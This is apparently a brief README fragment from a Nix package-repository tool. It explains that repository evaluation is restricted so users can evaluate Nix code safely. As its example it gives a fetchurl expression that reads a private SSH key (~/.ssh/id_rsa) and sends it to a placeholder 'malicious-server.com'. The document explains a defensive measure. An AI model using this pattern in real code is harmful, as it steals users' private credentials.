a50860fcbb
It should be save for users to evaluate nix code.
Therefore we restrict evaluation of repositories.
Otherwise an attacker could leak confidential data, i.e.:
fetchurl {
url = "https://malicious-server.com/log-key?content=" + (builtins.readFile "../../.ssh/id_rsa");
sha256 = "43c2c9e5e7a16b6c88ba3088a9bfc82f7db8e13378be7c78d6c14a5f8ed05afd";
}
|
||
|---|---|---|
| .. | ||
| format_repos_manifest | ||
| update.py | ||